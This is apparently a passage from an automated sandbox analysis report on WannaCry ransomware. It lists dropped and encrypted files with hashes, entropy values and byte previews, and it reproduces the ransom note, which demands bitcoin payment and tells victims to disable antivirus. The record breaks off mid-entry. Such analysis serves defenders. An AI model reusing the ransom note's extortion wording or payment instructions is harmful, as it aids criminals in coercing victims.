                                    Preview:WANACRY!....kX_...F&B.4.~......0.N..s....@].........~....m...i. .q..Y...... 7....O^..P...X.Y...............?.O.?..e.s..l0..:.........O........<....q.AL.{.R.jG....1.{_.j....zw~F.C..|..S..2D".... ,.W.r...x.e.h..:..A.4.?....w...0..F.!.......~........J.e.......................eLjn...$=...R..L... ..$.`..5.i`VW-{......1l;..4yi.#.....\........g.}.w..lH......;.....3.......t.h.Ox....0....,.!.um.eldm,PY.R g..&?U.O}..HW...Y...a..e.^.......Y..u..T....r....'B.b.>..hQj...]...uJ.!k...|.......OV ...X.~....^......I.S.'32n`J..d.v..Ve..v\.Jsm(......Za.x0.h$20.S9.v..3........yc..^[.R=7..l1..Wi-s8..."z3P.C.\....t.q.......M.Xw.*'....".Z....o.WT.....Ve%.e....W....+.6.6.2X#........ct....|....q..5b..\...oR....[}..aBe..^.l.Q..~..\.h.".....p.L.1H..........oZ..l....$.eJ..V.?....xb.D.L...W..|..uC.N..{[M.X....e...t.............w.g...nA...$....^..F!.!7l........^XS..<v.&..m..`1.Pw..Y.9]..|VUp...o.....W.W0.n`.....J...R{.z.].1b!5.:...4...'...j.F.(g../..j60i....

                                    C:\Users\user\Documents\IZMFBFKMEB.mp3.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.829587063415831
                                    Encrypted:false
                                    SSDEEP:24:bk3S/NOhOmbQ4n+kIKb4DsLnVoQHR/hdVnKWmanTmtCzi3UjB1irf9Z:bkrhOmUQSiVTHR/1KemlSen
                                    MD5:78BC8DE09D03B5509B858F15BECF9D81
                                    SHA1:D9100E1EED3D809BB01DFBF2230B6BEE63BE3059
                                    SHA-256:9C6E63A7EFAD90CBF0E4E9BA1838DC05C88F12E61CFF189C32B34B0DD579BEA1
                                    SHA-512:0118D2AEE1B80780F6958FCE8EC8E024D59E5E927D9008C03E0DFBD495559207FD5A5A5465B5A98E026D03958CDF2AEBDFCB5B0F2073B8D0188EE8675D9ED1DB
                                    Malicious:false
                                    Preview:WANACRY!....kX_...F&B.4.~......0.N..s....@].........~....m...i. .q..Y...... 7....O^..P...X.Y...............?.O.?..e.s..l0..:.........O........<....q.AL.{.R.jG....1.{_.j....zw~F.C..|..S..2D".... ,.W.r...x.e.h..:..A.4.?....w...0..F.!.......~........J.e.......................eLjn...$=...R..L... ..$.`..5.i`VW-{......1l;..4yi.#.....\........g.}.w..lH......;.....3.......t.h.Ox....0....,.!.um.eldm,PY.R g..&?U.O}..HW...Y...a..e.^.......Y..u..T....r....'B.b.>..hQj...]...uJ.!k...|.......OV ...X.~....^......I.S.'32n`J..d.v..Ve..v\.Jsm(......Za.x0.h$20.S9.v..3........yc..^[.R=7..l1..Wi-s8..."z3P.C.\....t.q.......M.Xw.*'....".Z....o.WT.....Ve%.e....W....+.6.6.2X#........ct....|....q..5b..\...oR....[}..aBe..^.l.Q..~..\.h.".....p.L.1H..........oZ..l....$.eJ..V.?....xb.D.L...W..|..uC.N..{[M.X....e...t.............w.g...nA...$....^..F!.!7l........^XS..<v.&..m..`1.Pw..Y.9]..|VUp...o.....W.W0.n`.....J...R{.z.].1b!5.:...4...'...j.F.(g../..j60i....

                                    C:\Users\user\Documents\LFOPODGVOH.docx

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.803937032046402
                                    Encrypted:false
                                    SSDEEP:24:O+EmU29tAZuKHdLa0lCKu1vXnvfO4h08xf4xvpEaAWlf6Tz:jEmU29KTlCTnvG4Hcvpf/CTz
                                    MD5:C5264744B74AA27404E2FEE8EDB449D1
                                    SHA1:60795F5CD578B1A13BE2F36C54B9941F754FBE19
                                    SHA-256:0E8C7AF1CBA30256E6B78E525EDB900020DFEBF70E2FD912554D11FB012FDB31
                                    SHA-512:701DC2375B2DC683BCD22600F6D37BBBD881861C5D8813FA87F149F93EAFA07D4AE776AF376FF5D89A99469768A6106D1A63B1AB0B1EDACF0CB002B5CA269D41
                                    Malicious:false
                                    Preview:.D)9...j.$....49~..=...HU}...2.-kR..?).=.*.t............aZ..I#qG.Ds....c..C.3N\.....Er6..b^...q.s..7.~..6.F.#...>.9..2..*.~Y.`:1...O.w.....{..."4...=0o..Kp...!d..p.."]..t.d.t5l[...8...we.VEM.....*....z..D.).y..,....6b....P.c.i...f..F'.n.9).Z.IS....g....5.P.C....p*"wm....g.J.~M.E4.*...Z.v..._Y.o....._G......m?..i.[../.k5....5...NG.k6.v.J...en..D......WJ..6uk.R....;.h._4..<'."......9.z..V...D...\.$....I]....RB..dQ...m.._.K..8.....8....]..d..;G..qj.....Y-...{......5.5...^< /....7a.......S(...&4..d{Y...../.....V...Z.ap...).....G...0.j\5aq.'.Q.>.....r_50....u$..s....V.y.......@m...\c5..\..0@...q}/S.D...P.R.......~^...B.&.1.#.............E.?.L....%.....}^..i..i..w... .o.....>......z..u.^i.......uv....0.`..L&,#.8.o2NK.k..i....c.j....._...:....q.c.Q+(.....y.K~.7..........v..d.M8..D..f...y.".O3...,.....>;.....)..u_..:).p..7.>....`...P..-8..n.G.....u.8....a..&..C.....*.5._.Qz.........rG..J..U..8u.:.:.l.v(..sZ'^Cc.....I.u$..q..U....

                                    C:\Users\user\Documents\LFOPODGVOH.docx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.839377922126613
                                    Encrypted:false
                                    SSDEEP:24:bkYuqcu4VEzegEBwY+LMeuX9xu2bRALz3/tqY/8OmOM3x1AHTL41ZQ2:bkd64swioeuDu0RALAY0VzkPwv
                                    MD5:99FA4E429E8BAE7116C39E5A15B2F0E0
                                    SHA1:D02F70311F2BE2D16DB358408A796591DA4C5B2C
                                    SHA-256:958C62952D0747454C4CD943AF8424D160B1F0B23D59B5ABA26E1BC0E94776C8
                                    SHA-512:B1E1F79285AE3499E7B7CE702CBC21A5CFF6EA32E0A555558E4A39F1F3DB1168AB38E06C4F13FF45A6FABC5748D28117F64FF66FC3DF1E9F66BE7DA7C04AF26D
                                    Malicious:false
                                    Preview:WANACRY!....O....mF...7.XW.....o2.0.#...d..u...-..U2X........g;3N..R{....z'.X...c......cp..%.3EY..Y.z.3..4.....>.<h.&.XO...|A..l~.qC.A...Ahl.......uxH3M!K...!..'s...%...5%......_....:o....p.R0.T.w....."..?Z...v.......C..R...._/-.B...0.fk$.T......=0eLz..................Zs....K..P......O.....n...9e.....e..........G....*.....(.Y7.Xr........ga.........y.,.0SAG....I=(..xh..w?..P.!.....a.?....8.D......l.P.p...(.p..n.D9..H...o.0..y...',K.Q./g.3G/..p@...u.....[E..o..8.1..Ac'.0....D.fM.Lf$..X....Q.;.....Uta.3!.t.D/`..t....zXL..E}..[..l9.jF.u...V..<3......YH.K...n.RC...tc..:!'......9..5.e...=..=...h.K...]].V'....N...;.$(.-?Rv........Z..m...S.LP....O..0..'%...,..t.'.BP.25..J?..sI(o..<r...G....rl..<...;....+5..V.3...'.F.....H.I..5....h...........u..rF.4........oD.. .Z.c..6fw..-..Q...gn#.{.v&..'..&.-:m.]R..KE$>.J.n..{...V|.$...|.Ka.......&....o\1p.f(..z..g.-v7..(.j.....NR^....N...Z.j]...@.-.E.$..?DF.(^.M..#.%.).z.$....NY.J..:MME....C...Y1.....eb..-.I..X]...

                                    C:\Users\user\Documents\LFOPODGVOH.docx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.839377922126613
                                    Encrypted:false
                                    SSDEEP:24:bkYuqcu4VEzegEBwY+LMeuX9xu2bRALz3/tqY/8OmOM3x1AHTL41ZQ2:bkd64swioeuDu0RALAY0VzkPwv
                                    MD5:99FA4E429E8BAE7116C39E5A15B2F0E0
                                    SHA1:D02F70311F2BE2D16DB358408A796591DA4C5B2C
                                    SHA-256:958C62952D0747454C4CD943AF8424D160B1F0B23D59B5ABA26E1BC0E94776C8
                                    SHA-512:B1E1F79285AE3499E7B7CE702CBC21A5CFF6EA32E0A555558E4A39F1F3DB1168AB38E06C4F13FF45A6FABC5748D28117F64FF66FC3DF1E9F66BE7DA7C04AF26D
                                    Malicious:false
                                    Preview:WANACRY!....O....mF...7.XW.....o2.0.#...d..u...-..U2X........g;3N..R{....z'.X...c......cp..%.3EY..Y.z.3..4.....>.<h.&.XO...|A..l~.qC.A...Ahl.......uxH3M!K...!..'s...%...5%......_....:o....p.R0.T.w....."..?Z...v.......C..R...._/-.B...0.fk$.T......=0eLz..................Zs....K..P......O.....n...9e.....e..........G....*.....(.Y7.Xr........ga.........y.,.0SAG....I=(..xh..w?..P.!.....a.?....8.D......l.P.p...(.p..n.D9..H...o.0..y...',K.Q./g.3G/..p@...u.....[E..o..8.1..Ac'.0....D.fM.Lf$..X....Q.;.....Uta.3!.t.D/`..t....zXL..E}..[..l9.jF.u...V..<3......YH.K...n.RC...tc..:!'......9..5.e...=..=...h.K...]].V'....N...;.$(.-?Rv........Z..m...S.LP....O..0..'%...,..t.'.BP.25..J?..sI(o..<r...G....rl..<...;....+5..V.3...'.F.....H.I..5....h...........u..rF.4........oD.. .Z.c..6fw..-..Q...gn#.{.v&..'..&.-:m.]R..KE$>.J.n..{...V|.$...|.Ka.......&....o\1p.f(..z..g.-v7..(.j.....NR^....N...Z.j]...@.-.E.$..?DF.(^.M..#.%.).z.$....NY.J..:MME....C...Y1.....eb..-.I..X]...

                                    C:\Users\user\Documents\LFOPODGVOH.pdf

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.810538647339861
                                    Encrypted:false
                                    SSDEEP:24:FN/HD6FGI2gWbPlFEHAmO4bBtk8NFSaDaNAPT8QFm7FVavBHrk72:FN/4GIwbAZLA8NFk5QFmh0vBLk6
                                    MD5:7C5F0ACCB75F46F16C5DC04CE0E7A39A
                                    SHA1:3EE30339A2852E85A33D621C27666C25FF134C3C
                                    SHA-256:2E6581D74A1FD4A6AFB29848E66D664AE65D06064EA4F4D5503210CFBB580809
                                    SHA-512:B174911CEFC127A82517BA0695E7AB54A046D112240E8A64F7EDF24D3D46F03A905DA8BC1374841681B640095D4E3556A1467F2498BB23D6FD1D2112CE523885
                                    Malicious:false
                                    Preview:ye.V..\.|...P Z[.<..7}...]@...<..xm.]\CT.g(*..~ue7.&.....Fyj...V..93 ...<....QnJ..G...(.......(hZ.2..... .pF(m.).u.3..\F}..'.../.Q...d4.c.|N..X..g..1._IG....d.!..#.[\.#.~...O..h... ....;jp.......b.b.......1].....y....z.m.*...1......h..i.+|.&.m...W!......q%...3...}...;.A.#....Z.w^..]'..N..%.....p.O2..E..........=....GZ.m.q.....L..@.$.,.Ct....:),........'x..%.{.c..=s...'?...._..?|..A.r.=.vpk...._.....H}...../H.0.s.......1....H..;......g.1.f....2tX....t....x.=jFt..v......./.I..]}......r....f.8w%O...V.m.o..Db...2.{..J..^.....{9.;.f...&.".........O.Bz.g....,3).....UTh..U#..1&.u.....b.."...m....T..T+..7Pb..#.:....@./..A.3$............05.g..jN...73..0....w=..z..p]`{.I.....m.E.!q..HqC>..D?......d...,_m(3/.kp...,w..N.!......n.oH.%...A..2.[.zw....0w....|A.g+....>.....+...XTe....}.5}`......HV= .R..?fY....|...._...... ....]...d.;..d=...J.;%?v9...YC\...J....ZJ...IH..j.?.f.g.&.... ..|..Hl.(..:.|(..[.R....'..z.....q.L..WS6..99j'..y'...pf.._

                                    C:\Users\user\Documents\LFOPODGVOH.pdf.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.85420229879166
                                    Encrypted:false
                                    SSDEEP:24:bkKq9ggCIyAgpLTi1tht0x0shN1mgPKhXUfD4w+GyxjLAfh8abr+Mxo/3Gd+QVfm:bkKdgEDGtQhrVKRk4w6SfhNaMW/3dQV+
                                    MD5:4137B8A708D9FC319FB81144625110F3
                                    SHA1:DBAF78F0EC75B6DCC37DFABBBA89FB486D9F0A87
                                    SHA-256:F2134BE5B504020DE4F02B0DCB0F8720B18D071EAF66735E479227ABE075D973
                                    SHA-512:A3AB25352B9A58866BC459FA6B49C6078E3ACE501D31EFEA67BF1F06C90BD1829ACE1DF5015E2728DACA03FB8B3B48E0283DE11B57835CC20180FD07D13B24F2
                                    Malicious:false
                                    Preview:WANACRY!...........u8...{.|.GX+<.....i...s..GF.T.8.%.OH....."...*.)..RC.).$..K..G.p.....&.KkS...B...H.e..v...y".a|...G=.&..c.v.z.aG?/V_..MvBc...'.mU../.Rsrc.2.....$.9B@a}.2.'ng...C...w|x...E-..\....YV.!~.~....Be|Ma}.'..B....#..t.d......p......lw....a..V'..............P_..B.../.3oi...?+.}2..2.......A...gL.[..M...Si.<...&=Q)..K!d.[.%...k..G.*.xA...\...@....Z^..^C ..T..q.....!d..|...E.|....KW.5Y.....O...Z...r.~.l..Q...G.L...>.{0...~..s..Y\?.8R.s..m...?....s.~N{.gc.w.o.m.\..w.4U.u.......J.O}..P..>.8..tG....=Gjk:e..pC..8.H).e...N.u..G....1.&....;M...)#..Y.W2@>..k.C.b7..L.1d7.....I...9../.(...56....M... /.....&~#.T..b'..(.0.N...a.I4..j.$.D...tl......M.......<r...~YZ..(...].Z...V...k.u{...F..L.0...Bplq.!..M..s..Z_i......p...=F,.....g...wf...B.W...:S.|.B+......$q....=...s......;...{..._.G.>...5.F.D7...@. .[.Q.%.B.+.%..p.c..6.=.@"W..w....r....,.e.|....7..`k....$Y......V.....Z...t.PJ/.u.H.x.)...+."h9....l.C.)....ws$X:]y.(...9....{..aZ.9.-....@.)..

                                    C:\Users\user\Documents\LFOPODGVOH.pdf.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.85420229879166
                                    Encrypted:false
                                    SSDEEP:24:bkKq9ggCIyAgpLTi1tht0x0shN1mgPKhXUfD4w+GyxjLAfh8abr+Mxo/3Gd+QVfm:bkKdgEDGtQhrVKRk4w6SfhNaMW/3dQV+
                                    MD5:4137B8A708D9FC319FB81144625110F3
                                    SHA1:DBAF78F0EC75B6DCC37DFABBBA89FB486D9F0A87
                                    SHA-256:F2134BE5B504020DE4F02B0DCB0F8720B18D071EAF66735E479227ABE075D973
                                    SHA-512:A3AB25352B9A58866BC459FA6B49C6078E3ACE501D31EFEA67BF1F06C90BD1829ACE1DF5015E2728DACA03FB8B3B48E0283DE11B57835CC20180FD07D13B24F2
                                    Malicious:false
                                    Preview:WANACRY!...........u8...{.|.GX+<.....i...s..GF.T.8.%.OH....."...*.)..RC.).$..K..G.p.....&.KkS...B...H.e..v...y".a|...G=.&..c.v.z.aG?/V_..MvBc...'.mU../.Rsrc.2.....$.9B@a}.2.'ng...C...w|x...E-..\....YV.!~.~....Be|Ma}.'..B....#..t.d......p......lw....a..V'..............P_..B.../.3oi...?+.}2..2.......A...gL.[..M...Si.<...&=Q)..K!d.[.%...k..G.*.xA...\...@....Z^..^C ..T..q.....!d..|...E.|....KW.5Y.....O...Z...r.~.l..Q...G.L...>.{0...~..s..Y\?.8R.s..m...?....s.~N{.gc.w.o.m.\..w.4U.u.......J.O}..P..>.8..tG....=Gjk:e..pC..8.H).e...N.u..G....1.&....;M...)#..Y.W2@>..k.C.b7..L.1d7.....I...9../.(...56....M... /.....&~#.T..b'..(.0.N...a.I4..j.$.D...tl......M.......<r...~YZ..(...].Z...V...k.u{...F..L.0...Bplq.!..M..s..Z_i......p...=F,.....g...wf...B.W...:S.|.B+......$q....=...s......;...{..._.G.>...5.F.D7...@. .[.Q.%.B.+.%..p.c..6.=.@"W..w....r....,.e.|....7..`k....$Y......V.....Z...t.PJ/.u.H.x.)...+."h9....l.C.)....ws$X:]y.(...9....{..aZ.9.-....@.)..

                                    C:\Users\user\Documents\LFOPODGVOH\@Please_Read_Me@.txt

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:ASCII text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):933
                                    Entropy (8bit):4.710902136409594
                                    Encrypted:false
                                    SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                    MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                    SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                    SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                    SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                    Malicious:false
                                    Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                    C:\Users\user\Documents\LFOPODGVOH\@WanaDecryptor@.exe.lnk

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 22:50:30 2024, mtime=Thu Jul 25 22:50:30 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                    Category:dropped
                                    Size (bytes):580
                                    Entropy (8bit):5.1602313887772375
                                    Encrypted:false
                                    SSDEEP:12:8ORypzYNbQthdUoTAjAtNo9UNlpKJ2JzBmV:8ORBq9UAJlpKJ2Jtm
                                    MD5:E56DDAF80E047E701D2E3E291DA97217
                                    SHA1:FF3DE5A812301977F3F06321805CE59D7D19A1A6
                                    SHA-256:46615DA1D754A5FB40E04B1A9E5CD51D71958AFA9D87EFE674CCAC66354A6706
                                    SHA-512:B0269A491C82F918E9F0AC3E1877B0C5F0697C0D4F51B080CA036CF34036EBC8FFEC75DD2551D2CFB40DC8B7CA1429E7EF93D69C53CA70B7957CD64A5E4EAA6D
                                    Malicious:false
                                    Preview:L..................F.... ....n.n.....n.n.....`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&........*_...B,Ho......`o......t.2......J.2 .@WANAD~1.EXE..X.......XP..XP......=........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......]...............-.......\...........'q.......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......701188...........hT..CrF.f4... ..../Tc...,......hT..CrF.f4... ..../Tc...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                    C:\Users\user\Documents\LFOPODGVOH\AQRFEVRTGL.xlsx

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.77025497263808
                                    Encrypted:false
                                    SSDEEP:24:S17cdO6Qu+RdUf7jAdkEQaweSS+TgXTnOCPqZr44HACC/o:C7cn/gGkkD7ek0XzzQHHACT
                                    MD5:180D31AF10D690CA4B2B8AE6321AE258
                                    SHA1:0CD09F5C17818305561525B633BFCB9DAA177C00
                                    SHA-256:B7F2E8764831F3E48BEF34114578212D11AEF33F303100154C212B6F291CBD0A
                                    SHA-512:6ED9F79B886E83956392A2713D2AC0557C12D3C8CD98E70F1369E3A9ED429B84FA6CA9ED1099A9572B3DE9817BCCAB3005313445ED8DBCE66217236ADB73540E
                                    Malicious:false
                                    Preview:?..ZN.e.|].k.s..bsb.@..tO.;.u.]....+...;.6.Uek..S..]T..7..oG..7....5..&s+C.....5nR.^.O2.....3..;.e[.y..-x^..i.x.q..i@q.....t....2%.h......._.D.'....\.D.H.~....d.m.r............e.N.|-...Q.........-...sUE......D.>........<..w.7.!y....!.DR..\U.{= r.n..U.5..#M..Q...Uy.,N.$.t<...........F..|..}.j ..`.y..|..V..>........#QN].h.bs...W[......Xa........Z.b0....h...0/.*.lX...I.Ag.%U.@I...o...`...h;....k)H...!$i.Z..m....8...^v..u..K..b..&`....~..l..p.....`.y...;......[s. .......G6s...,.>....OVC...~...\.......{2{Gv.q.;....\.Y.u_.....&E.c...0.......g..a].]......ju6.u6._..t#.P......9a.WE.g.R._......M..m.:......o...>.T.B....9-.t!uE.y.`.....u0.9..`..'Sr...-G....6...GzO_M.P(.......fI..>z. 7...S......W.....nH.p...0...B.$.e<u....iN.......e3.I.......$.....&.......E...k..p....@...N.vH.B....$...bgci.....d1&.d..<6'I5._{..'.3.._.X(..b%6X~.D.....H.w.N..F....m2..x.&..O..+r.....8c.c)..V..o..f.k.U!..s.0.f....I.. ....s...a......D..d.q.........>L...3?F..e!...&)....`.

                                    C:\Users\user\Documents\LFOPODGVOH\AQRFEVRTGL.xlsx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.829598749596507
                                    Encrypted:false
                                    SSDEEP:24:bkurtUDpV4f1QMexRsX2JMKGVj+RK+sROeTFQpnej4yzG16m5xEQW:bkurtUD34dzEu2JM1Vj+kX0KFQ4N6HqF
                                    MD5:1AE9B6870EB5BDC8ABB07C3A67B970B9
                                    SHA1:CF40BE6A1D359AC9E92D7FE29B6B2B3DCB4DD74E
                                    SHA-256:4A7FE2DD5D193DD019E35D9C63C202091323E8A326B9A2DA02D53710022D8CFC
                                    SHA-512:BE6DA48DA37659365AD38F76ED9C13AE4D8F0CBB4B1F92FDB4B0D834962C08B76092E1780C987D80F9ECC322B521B2ED2B5E164C38908E4DF277D4C73828CC63
                                    Malicious:false
                                    Preview:WANACRY!....Gu...W`......3.......P...06..4..R rB\}2HtN0..;w.H..;.m9.6%.X...RU.XQ9...!.....~.!...Z.S..f.o.......!p......}En..u.....Z$H....LX..u..iS..0...Q.:.-9..?.U.....}..y...Am..Q.{....X.<..A+s.,'g...3.....4...8g...-p%.%......{..Mt.=5.'j.3...q(.....3.Z.............R...t.@..y.@..3s4..Q.Nx..K?...a...........{.lsC..{.RQ.i.....2o..&..Ld3...6[d.Xr...q.6. .....x........'.i~................"{&s..lj.MX..S.8.j...`.~.....&.... ~Dv2l....S.N...4.p..U.Q....0..............U.i..1...X/!. ...HlH!.'........G.:....@."=K...~.....|._...u.4.....]...i.e.v..9......!.v.Z7....LMN.S....BUOS.5B3..+.P._+.].q.uY....)d..)U.......U_.&.v...;...`.R..L.e....+...r.K.Ct......u........K....._.` Z..(i1.br.kb..FC......i.. ..8#GN.....V..1&..WA..u.S....N.)....B.Au..tI.a.t.p.vcS.0..[.w.A.<.V...-.aU4....eX1.j.r.$.B...[,..*.d..Ivk....h.......Es......9Ju.....N.....?..zZS+.`/.2..y.....sk.7.v\Y...d.[.m$..u.......%v..a/..Wq.Z....0.y.-.d.z./cf5....`.J\*...6.......1m..6!...[q....

                                    C:\Users\user\Documents\LFOPODGVOH\AQRFEVRTGL.xlsx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.829598749596507
                                    Encrypted:false
                                    SSDEEP:24:bkurtUDpV4f1QMexRsX2JMKGVj+RK+sROeTFQpnej4yzG16m5xEQW:bkurtUD34dzEu2JM1Vj+kX0KFQ4N6HqF
                                    MD5:1AE9B6870EB5BDC8ABB07C3A67B970B9
                                    SHA1:CF40BE6A1D359AC9E92D7FE29B6B2B3DCB4DD74E
                                    SHA-256:4A7FE2DD5D193DD019E35D9C63C202091323E8A326B9A2DA02D53710022D8CFC
                                    SHA-512:BE6DA48DA37659365AD38F76ED9C13AE4D8F0CBB4B1F92FDB4B0D834962C08B76092E1780C987D80F9ECC322B521B2ED2B5E164C38908E4DF277D4C73828CC63
                                    Malicious:false
                                    Preview:WANACRY!....Gu...W`......3.......P...06..4..R rB\}2HtN0..;w.H..;.m9.6%.X...RU.XQ9...!.....~.!...Z.S..f.o.......!p......}En..u.....Z$H....LX..u..iS..0...Q.:.-9..?.U.....}..y...Am..Q.{....X.<..A+s.,'g...3.....4...8g...-p%.%......{..Mt.=5.'j.3...q(.....3.Z.............R...t.@..y.@..3s4..Q.Nx..K?...a...........{.lsC..{.RQ.i.....2o..&..Ld3...6[d.Xr...q.6. .....x........'.i~................"{&s..lj.MX..S.8.j...`.~.....&.... ~Dv2l....S.N...4.p..U.Q....0..............U.i..1...X/!. ...HlH!.'........G.:....@."=K...~.....|._...u.4.....]...i.e.v..9......!.v.Z7....LMN.S....BUOS.5B3..+.P._+.].q.uY....)d..)U.......U_.&.v...;...`.R..L.e....+...r.K.Ct......u........K....._.` Z..(i1.br.kb..FC......i.. ..8#GN.....V..1&..WA..u.S....N.)....B.Au..tI.a.t.p.vcS.0..[.w.A.<.V...-.aU4....eX1.j.r.$.B...[,..*.d..Ivk....h.......Es......9Ju.....N.....?..zZS+.`/.2..y.....sk.7.v\Y...d.[.m$..u.......%v..a/..Wq.Z....0.y.-.d.z./cf5....`.J\*...6.......1m..6!...[q....

                                    C:\Users\user\Documents\LFOPODGVOH\BXAJUJAOEO.jpg

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.813344904530832
                                    Encrypted:false
                                    SSDEEP:24:BmaHNvd+2JfzR75UjImAoiI18TEOqC7Jv3T:rH+2/l0I7TBqs
                                    MD5:E521262FCCF9582677E97AEA8AEE1B48
                                    SHA1:39DB4BAF837B343400750979B9852A71045B32BE
                                    SHA-256:B0352C358D617CFCAC6DABFD567C9DA777D3B47D1A0A4A1472202D3EDB2603DB
                                    SHA-512:66A0A65AD5DC0CAD17979E2512486B6E22B11BDFAA5EF12D1226D38DB89A8EB55F14745B57590BC85BF69DBC4D28297319D9E78FAA28E6DA0C675B5A35699B6F
                                    Malicious:false
                                    Preview:....6........?..#...4..5|!.mH........~mRBNq...`.[......`.#Z\..f...7@@...b..6.?.mJ........^>\!}.1....Q.i..Ny...."9.q......,._..~..N.4.&EP...b.qd....0.M+.....Q.=T.`8.H.5.......:...<...T......73........-:...Ht ..:..b.x.....~....;Q....M...O.c..k(.r .*f09p.'..ZS$.\*....x.......\(8..O).._..#_)H1.%....$...@..!.....Cf.......9........r.k.....mk^.)......B..]G.c..s"..x....A..rb+w..........2..c...".1H.u.E.......*....D..=.x.....h|.*}h.-.89.M..}t..._...L.;. ...dN].|..{Y|1bZ....6.2........1.S...|y...Af.[....d....3%Bg..m.....Q`.~.M.5.yhW.g.B...ex{...............>......5.W..._..#..5.....@`.\k........k@.-..?0........zf.F.9..m..5#.T0....A.p#....h.9.dm.]{E\../.qT..\..g.a..f......u5R.w.;..../R..^...S.Z.*0...S&......B..y.(Z1..-KL..:....%.G&4o.^.....k....4.L..#....1P....3.."=.`...O?+..Y|.x..R.Cs.A].."Zo.K..*....Ou...P..7...J.%5..z.....boe^7.h,....$.......I......:...~...G-e4....q.8C'u...=Bp5...a1...k)L ......j1......lO......|J..........J..R.Ni..N.R7E.CW.n0 .

                                    C:\Users\user\Documents\LFOPODGVOH\BXAJUJAOEO.jpg.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.853606654193928
                                    Encrypted:false
                                    SSDEEP:24:bknavbhexWQc8+CRJrSJoHlWZ3yoPpCyozzSNJVGYmTaeg0Ku5llnlW4M37SA51:bkavb0xkWUelWZ3yoBCyASNJVkaqKu/+
                                    MD5:F12DCE41882C237D7F15A7CFFF1EE80D
                                    SHA1:E99784CA5DFFD71FF1A70ABE35EE13C48BD17D9D
